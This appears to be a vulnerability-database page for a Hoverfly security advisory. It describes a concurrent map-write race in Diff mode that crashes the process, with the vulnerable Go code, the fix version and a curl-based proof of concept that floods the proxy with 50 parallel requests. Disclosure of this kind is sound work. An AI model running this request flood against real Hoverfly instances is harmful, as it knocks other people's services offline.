VDB
EN
HIGH 7.5

GHSA-qrh4-p6v4-mrfg

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

상세

### Summary:

When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.

### Details:

**1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):**

```go func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) { if len(diffReport.DiffEntries) > 0 { diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE } } ```

**2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):**

Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.

**3. Go's runtime detects concurrent map access and terminates the process:**

Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`.

**4. No mutex protection exists on `responsesDiff`:**

The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access.

### Environment:

- **Hoverfly version:** v1.12.7 - **Operating System:** macOS Darwin 25.4.0 - **Go version:** 1.26.2 - **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`)

### POC:

**Step 1: Start Hoverfly and set Diff mode**

```bash ./hoverfly & sleep 2

# Set diff mode curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \ -H "Content-Type: application/json" \ -d '{"mode": "diff"}'

# Load a simulation for diff comparison curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "expected"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ```

**Step 2: Send concurrent requests to trigger the race**

```bash # Send 50 concurrent requests, race condition triggers within seconds for i in $(seq 1 50); do curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" & done wait ```

**Step 3: Observe the crash**

```bash # Check if process is still running pgrep -f hoverfly ```

**crash output on Hoverfly v1.12.7:**

``` fatal error: concurrent map read and map write

goroutine 892 [running]: github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...) /core/hoverfly_service.go:419 github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...) ```

The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.

### Impact:

- **Full denial of service:** The process terminates immediately and cannot be recovered without a restart - **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests - **No admin API access required:** Only proxy port access is needed to trigger the crash - **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed - **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

Go / github.com/SpectoLabs/hoverfly
최초 영향 버전: 0 수정 버전: 1.12.8
수정 go get github.com/SpectoLabs/hoverfly@v1.12.8

참고